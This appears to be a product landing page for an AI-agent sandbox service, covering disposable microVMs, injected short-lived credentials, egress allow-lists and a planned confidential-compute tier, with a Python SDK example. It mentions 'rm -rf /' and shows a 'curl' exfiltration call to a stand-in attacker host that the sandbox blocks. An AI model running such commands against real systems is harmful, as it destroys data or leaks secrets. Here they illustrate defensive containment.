Give an agent a real computer — file system, shell, Python — that boots in
milliseconds and is thrown away after the run. If it hallucinates a
rm -rf /, only the disposable guest dies. The host is untouched.
Every agent run is contained, credential-masked, and governed at the boundary — under one API.
A hardware-virtualised Firecracker guest per run. Terminal, filesystem, and code execution, isolated behind a KVM boundary and discarded on exit.
The agent never holds your real secrets. Scoped, short-lived credentials are injected at the egress boundary — so a prompt-injection attack has nothing to steal.
The sandbox gets no default route — the only reachable address is a per-sandbox proxy. Off-allow-list traffic is dropped at the network; every allowed request is brokered, credential-injected, and logged.
A governed runtime where agents execute — disposable isolation, identity and secrets held outside the agent, egress governed today, and a hardware-attested confidential tier being commissioned on top. Few ship that combination.
Disposable isolation, a non-human identity vault, and governed egress today — as one runtime. A hardware-attested confidential tier (Intel TDX) is in commissioning: when enabled, the operator is excluded and the customer can verify it with an attestation quote.
E2B, Modal, and Daytona give fast, disposable isolation. But the operator can still see inside, there is no hardware attestation, and no vault holding the agent's credentials outside the guest.
Confidential-compute clouds keep the operator out. But they are not agent-native: no per-run disposable runtime, no non-human identity vault, no egress governance around the workload.
Create a sandbox, run code under policy, read the governance event stream,
throw it away. confidential: true requests the confidential-compute
tier (Intel TDX) — in commissioning, so it's refused until that tier is live on
production hardware.
from terrabox_sdk import TerraboxClient
client = TerraboxClient("https://api.terrabox.example", api_key="tbx_live_...")
sandbox = client.create_sandbox(
tenant_id="…",
template="python",
confidential=True, # confidential tier (TDX) — in commissioning, not yet live
iam_policy={
"grants": [{
"service": "api.github.com",
"allowed_resource": "repo:acme/widgets",
"scopes": ["contents:read"],
"token_ttl_seconds": 300,
}],
"never_expose": ["GITHUB_MASTER_PAT"],
},
egress_policy={"default_deny": True, "allowed_domains": ["api.github.com"]},
)
# curl to an allowed host → ephemeral token injected at the boundary
client.exec_in_sandbox(sandbox["sandbox_id"],
command="curl https://api.github.com/repos/acme/widgets")
# anything off the allow-list is dropped at the network boundary
client.exec_in_sandbox(sandbox["sandbox_id"],
command="curl https://evil.example.com/exfil") # egress_blocked
events = client.sandbox_events(sandbox["sandbox_id"]) # signed governance stream
client.destroy_sandbox(sandbox["sandbox_id"])Metered for developers; single-tenant flat fee where sovereignty and confidential execution matter.